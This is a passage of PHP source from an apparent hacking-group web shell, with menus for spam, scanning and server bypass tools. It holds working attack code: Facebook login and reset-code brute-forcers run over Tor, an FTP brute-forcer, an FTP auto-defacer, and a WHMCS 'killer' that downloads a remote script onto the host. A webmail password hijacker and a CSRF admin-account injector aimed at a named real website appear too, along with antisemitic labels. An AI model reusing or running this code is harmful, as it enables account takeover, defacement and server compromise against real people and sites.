6335<td><div id="form-container1"><textarea rows="10" name="S2" cols="43">'.$vaild_no.'</textarea></div></td>
6336<td><div id="form-container1"><textarea rows="10" name="S3" cols="43">'.$invaild.'</textarea></div></td>
6337</tr>
6338</table></p>';
6339}
6340}
6341if(isset($_GET['action']) && $_GET['action'] == 'emailllextrctr'){
6342echo '<center><b class="conte">
6343<a href="?action=maiilllerrr">Mailer</a> -
6344<a href="?action=Everythingdawg">Everything You Need</a> -
6345<a href="?action=payppallchker">Paypal Checker</a> -
6346<a href="?action=emailllextrctr">Email Extractor</a></center></b>';
6347echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Email Extractor</span><center><br>';
6348echo'<center><font face=Tahoma size=2 color=#007700 >Put Your Maillist In The Following TEXTAREA and Start</font></center>
6349<center>
6350<form method="post">
6351<textarea class="area" type="text" wrap="VIRTUAL" name="mails" style="background:transparent; margin: 2px; width:708px; height: 220px;"></textarea><br><br>
6352<center><strong><input type="submit" id="gobutton" name="Extazy007" value=" Start "></strong></center></form>';
6353
6354$types = array("gmail","hotmail","yahoo","aol","mail","rocketmail","orange","live","outlook","sfr","laposte","msn","skynet");
6355if($_POST["Extazy007"] && !empty($_POST["mails"])){
6356foreach(explode("\n", $_POST["mails"]) as $mail){
6357foreach($types as $type){
6358if(eregi("@".$type, $mail)){
6359$file = fopen($type.".txt", "a");
6360fwrite($file, $mail."\n");
6361}
6362}
6363}
6364echo '<font size="4">';
6365if(file_exists("hotmail.txt")){ rd("hotmail.txt"); echo '</br><a style="background:#efefef;" href="hotmail.txt">Hotmail</a> : '.count(file("hotmail.txt")).'</br>'; }
6366if(file_exists("gmail.txt")){ rd("gmail.txt"); echo '</br><a style="background:#efefef;" href="gmail.txt">Gmail</a> : '.count(file("gmail.txt")).'</br>'; }
6367if(file_exists("yahoo.txt")){ rd("yahoo.txt"); echo '</br><a style="background:#efefef;" href="yahoo.txt">Yahoo</a> : '.count(file("yahoo.txt")).'</br>'; }
6368if(file_exists("aol.txt")){ rd("aol.txt"); echo '</br><a style="background:#efefef;" href="aol.txt">Aol</a> : '.count(file("aol.txt")).'</br>'; }
6369if(file_exists("mail.txt")){ rd("mail.txt"); echo '</br><a style="background:#efefef;" href="mail.txt">Mail</a> : '.count(file("mail.txt")).'</br>'; }
6370if(file_exists("rocketmail.txt")){ rd("rocketmail.txt"); echo '</br><a style="background:#efefef;" href="rocketmail.txt">Rocketmail</a> : '.count(file("rocketmail.txt")).'</br>'; }
6371if(file_exists("orange.txt")){ rd("orange.txt"); echo '</br><a style="background:#efefef;" href="orange.txt">Orange</a> : '.count(file("orange.txt")).'</br>'; }
6372if(file_exists("live.txt")){ rd("live.txt"); echo '</br><a style="background:#efefef;" href="live.txt">Live</a> : '.count(file("live.txt")).'</br>'; }
6373if(file_exists("outlook.txt")){ rd("outlook.txt"); echo '</br><a style="background:#efefef;" href="outlook.txt">Outlook</a> : '.count(file("outlook.txt")).'</br>'; }
6374if(file_exists("sfr.txt")){ rd("sfr.txt"); echo '</br><a style="background:#efefef;" href="sfr.txt">Sfr</a> : '.count(file("sfr.txt")).'</br>'; }
6375if(file_exists("laposte.txt")){ rd("laposte.txt"); echo '</br><a style="background:#efefef;" href="laposte.txt">Laposte</a> : '.count(file("laposte.txt")).'</br>'; }
6376if(file_exists("msn.txt")){ rd("msn.txt"); echo '</br><a style="background:#efefef;" href="msn.txt">Msn</a> : '.count(file("msn.txt")).'</br>'; }
6377if(file_exists("skynet.txt")){ rd("skynet.txt"); echo '</br><a style="background:#efefef;" href="skynet.txt">Skynet</a> : '.count(file("skynet.txt")).'</br>'; }
6378echo '</font>';
6379echo '<br><font color="Green"><p>Done With Success ! </p></font><br>';
6380}
6381function rd($file)
6382{
6383$text = array_unique(file($file));
6384if($text)
6385$f = @fopen($file,'w');
6386if($f){
6387fputs($f, join('',$text));
6388}
6389}
6390echo'
6391<br>
6392<strong><font face="Tahoma" color="blue" size="4">
6393Mail-List</font><font size="4" face=Tahoma color=red> Filter</font><font size="3" face=Tahoma color=#666666> v1.5 </font>
6394</br><font face=Tahoma size=3 color=#009900>Developed By Extazy007</font></strong>
6395<br><br>
6396<font face=Tahoma size=2 color=#007700>Contact: www.facebook.com/AnonGhostOfficial2</font>
6397</center>
6398
6399';
6400}
6401if(isset($_GET['action']) && $_GET['action'] == 'srchffilsses'){
6402echo '<center><b class="conte">
6403<a href="?action=shellfnderr">Shell Finder</a> -
6404<a href="?action=jcescnr">Jce Scanner</a> -
6405<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
6406<a href="?action=portscnnre">Port Scanner</a> -
6407<a href="?action=admnpgfndr">Admin Page Finder</a> -
6408<a href="?action=srchffilsses">Search Files</a> </center>
6409</b>';
6410echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Files Search Engine</span><center><br>';
6411echo'<body bgcolor="blue" text="white">
6412<p align="center">
6413<img border="0" src="http://www.scriptspot.com/files/u5502/rodar_scan.gif"></p>
6414</head>';
6415
6416echo'<form action="" method="post"><center><br/>
6417<label for="dirdir">Directory</label><br/>
6418<input type="text" id="dirdir" name="dirdir" value="/" /><br/><br/>
6419<label for="filezzz">Files</label><br/>
6420<textarea class="area" rows="4" cols="50" name="filezzz">
6421config
6422auth
6423db
6424root
6425master
6426
6427</textarea><br/><br/>
6428<input type="submit" value="search now !" />
6429</form></center>';
6430
6431set_time_limit(0);
6432error_reporting(0);
6433
6434if(!empty($_POST['dirdir']) && !empty($_POST['filezzz'])){
6435$dirdir = $_POST['dirdir'];
6436$filezzz = $_POST['filezzz'];
6437echo("<center>FILES</center>");
6438$files = glob($dirdir.'/*.php', GLOB_BRACE);
6439foreach($files as $file) {
6440foreach(explode("\n", $filezzz) as $f) {
6441$s = file_get_contents($file);
6442$f = preg_replace('/\s+/', '', $f);
6443$lines = file($file);
6444$line_number = false;
6445while (list($key, $line) = each($lines) and !$line_number) {
6446$line_number = (strpos($line, $f) !== FALSE) ? $key + 1 : $line_number;
6447}
6448if (strpos($s, $f) !== false) {
6449echo '<center>';
6450echo("<br/><b>File:</b> ".$file);
6451echo '<hr>';
6452echo("<br/><b>Line:</b> ".$line_number);
6453echo("<br/><b>Function:</b> ".$f);
6454echo '<hr>';
6455echo '</center>';
6456}
6457}
6458}
6459}
6460}
6461
6462echo'</html>';
6463
6464
6465echo'</html>';
6466if(isset($_GET['action']) && $_GET['action'] == 'brutfbckk'){
6467echo '<center><b class="conte">
6468<a href="?action=respwdvic">Reset Facebook Password Victim</a> -
6469<a href="?action=brutfbckk">Facebook Multi-Account BruteForce</a> </b></center>';
6470echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Facebook Multi-Account BruteForce</span><center><br>';
6471
6472ob_start();
6473@set_time_limit(0);
6474#################################################
6475#---------------------------------------------- #
6476# Facebook Brute Force 2014 #
6477#Coded by : Mauritania Attacker&Noname-Haxor #
6478#Greetz : All AnonGhost Members #
6479#This Tool Is For Erasing Israel in Fb #
6480# --------------------------------------------- #
6481#################################################
6482
6483echo "<form method='POST'>
6484<center>Dont use this script without TOR BROWSER + TOR SWITCHER (set up the interval seconds from TOR SWITCHER TO 2 SECONDS)</center><br>
6485<p dir='ltr' align='center'>
6486<textarea cols='22' class='area' rows='14' name='username'>Target Name</textarea>
6487<textarea cols='22' class='area' rows='14' name='password'>Password</textarea><br>
6488<br>
6489<input type='submit' name='scan' value='Start BruteForce'><br></p><br>";
6490if(isset($_POST['scan'])){
6491#function
6492function brute($user,$pass){
6493$ch = curl_init();
6494curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
6495curl_setopt($ch, CURLOPT_HEADER, 0);
6496curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
6497curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6498curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
6499curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
6500curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
6501$login = curl_exec($ch);
6502//print_r($login);
6503$check = (eregi('class="s t i u"',$login)) ? true:false;
6504if($check == true){
6505echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Not the right one :( || Username : <font color='red'>$user</font> Password : <font color='red'>$pass</font></font></p>";
6506}else{
6507echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font> Password : <font color='green'>$pass</font></font></p>";
6508}
6509}
6510
6511
6512
6513
6514$username = explode("\n", $_POST['username']);
6515$password = explode("\n", $_POST['password']);
6516
6517
6518foreach($username as $users) {
6519$users = @trim($users);
6520foreach($password as $pass) {
6521$pass = @trim($pass);
6522echo brute($users,$pass);
6523}
6524}
6525}
6526echo"<br>
6527<br>
6528<br>
6529<br>
6530<center><p><b><font size='2' face='Trebuchet MS' color='#007700'>Coded by: Mauritania Attacker&Noname-Hax0r</font></b></p></center>";
6531}
6532
6533if(isset($_GET['action']) && $_GET['action'] == 'scannner'){
6534?>
6535<br><center><b class="cont" align="center">
6536<a href="?action=shellfnderr">Shell Finder</a><br><br>
6537<a href="?action=jcescnr">Jce Scanner</a><br><br>
6538<a href="?action=jcemultiscnner">JCE Multi-Uploader</a><br><br>
6539<a href="?action=portscnnre">Port Scanner</a><br><br>
6540<a href="?action=admnpgfndr">Admin Page Finder</a><br><br>
6541<a href="?action=srchffilsses">Search Files</a><br><br></center>
6542</b>
6543<?php
6544}
6545if(isset($_GET['action']) && $_GET['action'] == 'spammm'){
6546?>
6547<br><center><b class="cont" align="center">
6548<a href="?action=maiilllerrr">Mailer</a><br><br>
6549<a href="?action=Everythingdawg">Everything You Need</a><br><br>
6550<a href="?action=payppallchker">Paypal Checker</a><br><br>
6551<a href="?action=emailllextrctr">Email Extractor</a><br><br></center>
6552</b>
6553<?php
6554}
6555
6556if(isset($_GET['action']) && $_GET['action'] == 'fcbookk'){
6557?>
6558<br><center><b class="cont" align="center">
6559<a href="?action=respwdvic">Reset Password Victim</a><br><br>
6560<a href="?action=brutfbckk">Facebook Multi-Account BruteForce</a><br><br>
6561</center>
6562</b>
6563<?php
6564}
6565if(isset($_GET['action']) && $_GET['action'] == 'Everythingdawg'){
6566echo '<center><b class="conte">
6567<a href="?action=maiilllerrr">Mailer</a> -
6568<a href="?action=Everythingdawg">Everything You Need</a> -
6569<a href="?action=payppallchker">Paypal Checker</a> -
6570<a href="?action=emailllextrctr">Email Extractor</a></center></b>';
6571echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Everything You Need</span><center><br>';
6572echo'
6573<center><iframe src="http://ug4all.com/binchecker/" width="900" height="600">Welcome Ghost</iframe>
6574</center>';
6575}
6576
6577if(isset($_GET['action']) && $_GET['action'] == 'respwdvic'){
6578echo '<center><b class="conte">
6579<a href="?action=respwdvic">Reset Facebook Password Victim</a> -
6580<a href="?action=brutfbckk">Facebook Multi-Account BruteForce</a>
6581</center></b>';
6582
6583@set_time_limit(0);
6584echo "<form method='POST'>
6585<title>Facebook Code Security Cracker > By Mauritania Attacker</title>
6586<p align='center'>
6587<img border='0' src='http://onlinexploits.com/pirater-facebook-gratuitement/images/logo.png' ></p>
6588<center><font color='#007700'> Use Tor Switcher and Choose Threads Ip ===> 3 seconds and Good Hack ^_^</center>
6589<style>
6590/* Rounded Corners */
6591#ghost {
6592border: 1px #765942;
6593border-radius: 4px;
6594height: 250px;
6595width: 260px;
6596color: #999999; font-size: 9pt; background-color:transparent; box-shadow: 0px 0px 4px #999999; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px; -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;
6597}
6598input {
6599/* INPUTS */
6600border: 1px solid #765942;
6601border-radius: 4px; }
6602</style>
6603<center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Facebook 0day Exploit Reset Code Priv8</span></center><br>
6604<center><font color='#007700'>Coded By Mauritania Attacker</center><br>
6605<center><input type='text' size='40' name='id' value='target ID' ></center><br>
6606<center><textarea class='area' cols='35' rows='13' name='code'></textarea><br></center> <br>
6607<p><center><input type='submit' value='Crack Reset Code' name='scan'><br><br></center></p>
6608</form>";
6609$target = $_POST['id'];
6610$user = explode("\r\n", $_POST['code']);
6611if($_POST['scan'])
6612{
6613foreach($user as $code)
6614{
6615// Curl Function ^_^
6616$ch = curl_init();
6617curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/recover/password?u={$id}&n={$code}&_rdr");
6618curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
6619curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6620curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
6621curl_setopt($ch, CURLOPT_HEADER, 1);
6622curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); // change this with your real useragent infos (browser & version)
6623
6624$check = curl_exec($ch);
6625if(eregi("password_new", $check)) //Keyword Good Response ^_^
6626{
6627echo "<center><b><font face='Tahoma' size='2' color='green'>{$code} => Facebook Confirmation Code Found ^_^ </font></center></b><br>";
6628}
6629else
6630{
6631echo "<center><b><font face='Tahoma' size='2' color='red'>{$code} => Incorrect Code Trying More...</font></center></b><br>";
6632}
6633curl_close($ch);
6634}
6635}
6636}
6637
6638if(isset($_GET['action']) && $_GET['action'] == 'cpnlndftpotdfr'){
6639echo '<center><b class="conte">
6640<a href="?action=mass">Mass Deface Dirs</a> -
6641<a href="?action=joomla">Mass Change Admin Joomla</a> -
6642<a href="?action=vb">Mass Change Admin vBulletin</a> -
6643<a href="?action=wp">Mass Change Admin Mass WordPress</a> -
6644<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
6645<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
6646<a href="?action=joommlallainxc">Joomla Index Changer</a> -
6647<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
6648<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
6649</b>';
6650echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cpanel & Ftp Auto Defacer</span><br>Coded By Mauritania Attacker</center><br><center><img src="http://www6.0zz0.com/2014/08/20/15/449603437.png" /></center>';
6651echo"<table width='100%' cellspacing='0' cellpadding='0' class='tb1' >
6652<td width='100%' align=center valign='top' rowspan='1'><div class='hedr'>
6653<td height='10' align='left' class='td1'></td></tr><tr><td
6654width='100%' align='center' valign='top' rowspan='1'>
6655<font color='red' face='comic sans ms' size='1'><b>
6656<font color='RED' face='gothic' size='3'></font><br>
6657<font color='white'></font>
6658</table>";
6659
6660echo"<body bgcolor=black><h6 style='text-align:center'><font color=white>
6661<form method=post><font face=Tahoma size=2 color=#007700>
6662Server ip : <input type=text name=hi value=ip>
6663Username : <input type=text name=tx value=>
6664Password : <input type=text name=p value=><br><br>
6665file that you want to deface : </font><input type=text name=ph value='index.php'><br><br>
6666<font face=Tahoma size=2 color=#009900>Deface page url --> </font><textarea class='area' rows='1' cols='75' name='deface' value='your daface page link'></textarea><br><br>
6667<input type=submit name=sm value='Kill it Now' /><br>
6668</form>";
6669
6670if(isset($_POST['sm']))
6671{
6672$ip=trim($_POST['hi']);
6673$u=trim($_POST['tx']);
6674$p=trim($_POST['p']);
6675$d=trim($_POST['ph']);
6676$df=trim($_POST['deface']);
6677echo "<br><font color=white size=2>";
6678echo "<font color=red size=3>server ip ==></font> ".$ip;
6679echo "<br><font color=red size=3>user ==></font>  ".$u;
6680echo "<br><font color=red size=3>password ==></font>  ".$p;
6681echo "<br><font color=red size=3>dirctory ==></font>  ".$d;
6682echo "<br><font color=red size=3>deface link ==></font><br>".$df."<br>";
6683$dl="public_html/".$d;
6684$si= ftp_connect($ip);
6685
6686$try= ftp_login($si,$u,$p);
6687if ((!$si) || (!$try))
6688{
6689echo "<br>could not connect , hope u filled out all correctly :(";
6690exit;
6691}
6692else
6693{
6694echo "<br>connection done XD<br>Ghost ,its time to spin this shit<br>";
6695}
6696$deface = ftp_put($si, $dl , $df, FTP_BINARY);
6697if ($deface)
6698{
6699echo "hell yeah page got defaced successfully >";
6700}
6701else
6702{
6703echo "Ghost try manually :(";
6704}
6705}
6706}
6707
6708
6709if(isset($_GET['action']) && $_GET['action'] == 'ftpbrtfrcee'){
6710
6711echo "<body text='#FFFFFF' bgcolor='#000000'>
6712<title>FTP Brute Force</title>
6713<p align='center' dir='ltr'><font face='Tahoma' size='4'>[#] FTP Brute Force [#]</font></p>
6714<form method='POST'>
6715<center>
6716<p dir='ltr'>
6717<input type='text' name='ip' value='127.0.0.1'>
6718<input type='submit' value='BruteFTP' name='start'><br>
6719<textarea cols='30' rows='10' name='username'>users</textarea>
6720<textarea cols='30' rows='10' name='password'>pass</textarea></p>
6721<p><font face='Verdana' size='1'>[+] ReSulT [+]</font></p>
6722</form>";
6723@set_time_limit(0);
6724$ip = $_POST['ip'];
6725$username = explode("\n",$_POST['username']);
6726$password = explode("\n",$_POST['password']);
6727
6728if($_POST['start']) {
6729function brute($connect,$ip,$user,$pass)
6730{
6731$connect = ftp_connect($ip) or die("Error , Maybe you were Banned From Server");
6732if(ftp_login($connect, $user, $pass)) {
6733 echo "<p dir='ltr'><font face='Tahoma' size='2'>Cracked :
6734<font color='#008000'>$user</font>:<font color='#008000'>$pass</font>@<font color='#008000'>$ip</font></font></p>"; }
6735}
6736
6737foreach($username as $user) {
6738foreach($password as $pass) {
6739brute($connect,$ip,$user,$pass);
6740} }
6741}
6742echo "<p><font face='Verdana' size='1'>
6743+------------------------------------------------------------------------------------------------------------+</font></p>
6744</form>";
6745}
6746if(isset($_GET['action']) && $_GET['action'] == 'whmcskillrer'){
6747echo '<center><b class="conte">
6748<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
6749<a href="?action=cmd">Command Execution</a> -
6750<a href="?action=com64">Base64 Command</a> -
6751<a href="?action=vgrab">Config Grabber</a> -
6752<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
6753<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
6754<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
6755<a href="?action=cari">Find Directory Writable/Readable</a> -
6756<a href="?action=zonh">Zone-h Notifier</a> -
6757<a href="?action=shhhshell">Shtml Command Shell</a> -
6758<a href="?action=beko">Back connect Simple</a> -
6759<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
6760<a href="?action=prlbckacnonect">Perl BackConnect</a> -
6761<a href="?action=pythnonbakcncete">Python BackConnect</a> -
6762<a href="?action=exploit">Exploit</a> -
6763<a href="?action=whmcskillrer">Whcms Killer</a> -
6764<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
6765<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
6766</center>
6767</b>';
6768echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Generate WHMCS KILLER Script</span><center><br>';
6769error_reporting(0);
6770echo "<form method='POST'>
6771<title>WHMCS KILLER GENERATOR</title>
6772<p align='center'>
6773<img border='0' src='http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif'></p><br>
6774<center><font color='green' size='2' face='shell'>Cwd </font><input type='text' size='40' name='zero' value=".dirname(__FILE__)." <font color='green' size='8' face='Tahoma'></font></center><br>
6775<center><font color='green' size='2' face='shell'>Script </font><input type='text' size='40' name='shell' value='http://tny.cz/cd97a082/save.php?hash=f5388dca645d5a6cda8e78c52bdf6a8b' <font color='green' size='8' face='Tahoma'></font></center><br>
6776
6777<p><center><input type='submit' value='Generate Now' name='start' <font color=red' face='Tahoma, Geneva, sans-serif' style='font-size: 12pt'></font></center></p><br>";
6778echo "<p><center><textarea class='area' rows='12' cols='60' style='font-family: impact size: 2pt ; color: #00bb00; '>Results Will Appear Here ^_^ \n";
6779if($_POST['start']) {
6780$zero = $_POST['zero'];
6781$file = $_POST['shell'];
6782
6783$dir = "whmcs";
6784if(file_exists($dir)) {
6785echo "[+] whmcs Folder Already Exist are you drunk :o xD !\n";
6786} else {
6787@mkdir($dir); {
6788echo "[+] whmcs Folder Has Been Created Nygga :3 !\n";
6789}
6790}
6791#Generate WHMCS Script
6792$fopen = fopen("whmcs/whmcs.php",'w');
6793$shell = @file_get_contents($file);
6794$swrite = fwrite($fopen ,$shell);
6795if($swrite){
6796echo "WHMCS Script Has Been Downloaded : $zero/whmcs/whmcs.php \n";
6797
6798} else {
6799echo "Can't Download Shell :( do it manually :D \n";
6800}
6801fclose($fopen);
6802}
6803
6804echo "</textarea></center></p>";
6805$rt="<br><a href=whmcs/whmcs.php TARGET='_blank'><b>
6806Link</b></a>";
6807echo "<center><br><br><font color='#009900' size='1pt'>Click on Button Generate Now and Check link given below for WHMCS Script<br>$rt</center>";
6808echo '<p><center><font color="#00bb00" size="2pt">Generator Coded by Mauritania Attacker and Script Owner and Coder is RAB3OUN</font></center><br></p>';
6809}
6810
6811if(isset($_GET['action']) && $_GET['action'] == 'webmllllpwdchnger'){
6812echo '<center><b class="conte">
6813<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
6814<a href="?action=cmd">Command Execution</a> -
6815<a href="?action=com64">Base64 Command</a> -
6816<a href="?action=vgrab">Config Grabber</a> -
6817<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
6818<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
6819<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
6820<a href="?action=cari">Find Directory Writable/Readable</a> -
6821<a href="?action=zonh">Zone-h Notifier</a> -
6822<a href="?action=shhhshell">Shtml Command Shell</a> -
6823<a href="?action=beko">Back connect Simple</a> -
6824<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
6825<a href="?action=prlbckacnonect">Perl BackConnect</a> -
6826<a href="?action=pythnonbakcncete">Python BackConnect</a> -
6827<a href="?action=exploit">Exploit</a> -
6828<a href="?action=whmcskillrer">Whcms Killer</a> -
6829<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
6830<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
6831</center>
6832</b>';
6833echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'> Webmail Pass Changer</span><br><br>
6834<center><form method='POST'>
6835<h4>Change Password webmail</h4><h4>
6836User : <input type='text' name='user' size='40' /><br />
6837Path : <input type='text' name='path' size='40' /><br /><br /></h4>
6838<input type='submit' name='start' value='Change Password' />
6839</form></center>";
6840@error_reporting();
6841/*
6842@NetDevr
6843*/
6844if($_POST['start'])
6845{
6846$user = $_POST['user'];
6847$path = @chdir($_POST['path']);
6848$pass = "lov3rdns";
6849$lov3r = @base64_decode('JGFwcjEkdkNJWmRBXzEkRWhzcEhSWUZ4R24wcTBiZzRVeS9VLg==');
6850$array = @array('$user','$lov3r');
6851$imp = @implode(':',$array);
6852$dns = @file_put_contents('shadow',$imp);
6853if($dns)
6854{
6855echo '<h4><center>Password is <font color="red">'.$pass.'</font> .. <br />
6856Email is <font color="red">'.$user.'@'.$_SERVER['SERVER_NAME'].'</font><br />
6857Panel is <font color="red">http://webmail.'.$_SERVER['SERVER_NAME'].'</font>
6858Or <font color="red">http://'.$_SERVER['SERVER_NAME'].':2096</font><br />
6859<font color="blue">./x3</font></h4></center>';
6860}else
6861{
6862 echo '<h4><center>File Not Found</h4></center>';
6863}
6864
6865}
6866echo'
6867<br />
6868<br />
6869<br />
6870<br />
6871<br />
6872<br />
6873<br />
6874<br />
6875<center>
6876<b># Discovery : r0kin</b><br />
6877<b># Coder : Lov3rDns</b>
6878</center>';
6879}
6880if(isset($_GET['action']) && $_GET['action'] == 'wpcdrfex'){
6881echo '<center><b class="conte">
6882<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
6883<a href="?action=cmd">Command Execution</a> -
6884<a href="?action=com64">Base64 Command</a> -
6885<a href="?action=vgrab">Config Grabber</a> -
6886<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
6887<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
6888<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
6889<a href="?action=cari">Find Directory Writable/Readable</a> -
6890<a href="?action=zonh">Zone-h Notifier</a> -
6891<a href="?action=shhhshell">Shtml Command Shell</a> -
6892<a href="?action=beko">Back connect Simple</a> -
6893<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
6894<a href="?action=prlbckacnonect">Perl BackConnect</a> -
6895<a href="?action=pythnonbakcncete">Python BackConnect</a> -
6896<a href="?action=exploit">Exploit</a> -
6897<a href="?action=whmcskillrer">Whcms Killer</a> -
6898<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
6899<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
6900</center>
6901</b>';
6902echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Wordpress 0day CSRF All Versions</span><br>Coded By Mauritania Attacker<br></center>";
6903echo "<center><img border='0' src='http://www13.0zz0.com/2014/08/23/17/367667552.png'></center><br>
6904<input type='hidden' name='action' value='createuser'/>
6905<input type='hidden' name='_wpnonce_create-user' value='code'/>
6906<input type='hidden' name='_wp_http_referer' value='/wp-admin/user-new.php'/>
6907<center><input type='text' size='38' face='tahoma' name='victim' value='http://www.liguedefensejuive.com'/><font color='#00bb00'> Target Website</center></font><br>
6908<center><input type='text' size='30' face='tahoma' name='user_login' value='yehudikalb'/> Choose Username To Add</center><br>
6909<input type='hidden' name='email' value='zigribambou4@hotmail.fr'/>
6910<input type='hidden' name='first_name' value='kalb'/>
6911<input type='hidden' name='last_name' value='yehudi'/>
6912<input type='hidden' name='url' value='http://google.co.il'/>
6913<center><input type='text' size='30' face='tahoma' name='pass1' value='lolo133*'/> Choose Password To Add</center><br>
6914<center><input type='text' size='30' face='tahoma' name='pass2' value='lolo133*'/> Confirm Password To Add</center></p><br>
6915<input type='hidden' name='role' value='administrator'/>
6916<input type='hidden' name='createuser' value='Add+New+User+'/>
6917<center><textarea class='area' cols='43' rows='6' id='ghost' name='code'></textarea><br><br></center>
6918<p><center><input type='submit' value='Inject wpnonce Token' name='scan'><br><br></center></p>
6919</form>";
6920
6921if(isset($_POST) && !empty($_POST)){
6922
6923$victim = $_POST['victim'];
6924$user_login = $_POST['user_login'];
6925$pass1 = $_POST['pass1'];
6926$pass2 = $_POST['pass2'];
6927$curl="http://www.liguedefensejuive.com/wp-admin/user-new.php";
6928$_wpnonce_create = explode("\n",$_POST['_wpnonce_create-user']);
6929
6930
6931
6932$user = explode("\r\n", $_POST['code']);
6933 if($_POST['scan'])
6934{
6935 foreach($_wpnonce_create as $code)
6936 {
6937
6938
6939function brute($code) {
6940global $victim,$user_login,$pass1,$pass2,$ch,$curl;
6941
6942$ch = curl_init();
6943curl_setopt($ch,CURLOPT_URL,"$victim/wp-admin/user-new.php");
6944curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
6945curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6946curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
6947curl_setopt($ch, CURLOPT_HEADER, 1);
6948curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114");
6949curl_setopt($ch,CURLOPT_POSTFIELDS,"user=$user_login&passi=$pass1&passii=$pass2&_wpnonce_create=code=&redirect_to=.$victim./author/$user_login");
6950
6951$check = curl_exec($ch);
6952if(eregi('$user_login',$check)) {
6953 echo "<p><font face='Verdana' size='1'>[+] Username Has Been Successfully Added : <font color='#008000'>$user_login = $victim</font></p>";
6954 }
6955
6956 else
6957 {
6958 echo "<font face='Tahoma' size='2' color='red'> => Incorrect Code Trying More...</font><br>";
6959 }
6960 }
6961
6962 foreach($user_login as $user) {
6963 foreach($pass1 as $passi) {
6964 foreach($pass2 as $passii) {
6965 brute($code);
6966 } } }
6967
6968
6969curl_close($ch);
6970}
6971} }
6972}
6973if(isset($_GET['action']) && $_GET['action'] == 'rootshelleexecbpass'){
6974echo '<center><b class="conte">
6975<a href="?action=grasy">Bypass /etc/passwd</a> -
6976<a href="?action=nemcon">Bypass Users Server</a> -
6977<a href="?action=cgipl">Bypass Perl Security</a> -
6978<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
6979<a href="?action=bforb">Bypass system function</a> -
6980<a href="?action=rootexecbpass">Bypass With exec Function</a> -
6981<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
6982<a href="?action=posget">Bypass posix_getpwuid</a> -
6983<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
6984<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
6985<a href="?action=setphr">Bypass suPHP Security</a> -
6986<a href="?action=simpelb">Simple Bypasser</a> -
6987<a href="?action=ritf">Read Files</a> -
6988<a href="?action=baidir">Bypass Chmod Directory</a> -
6989<a href="?action=forb14">Bypass Forbidden 2014</a> -
6990<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
6991</b>';
6992
6993echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path With shell_exec Function</span><center><br>';
6994mkdir('shellexcexce', 0755);
6995chdir('shellexcexce');
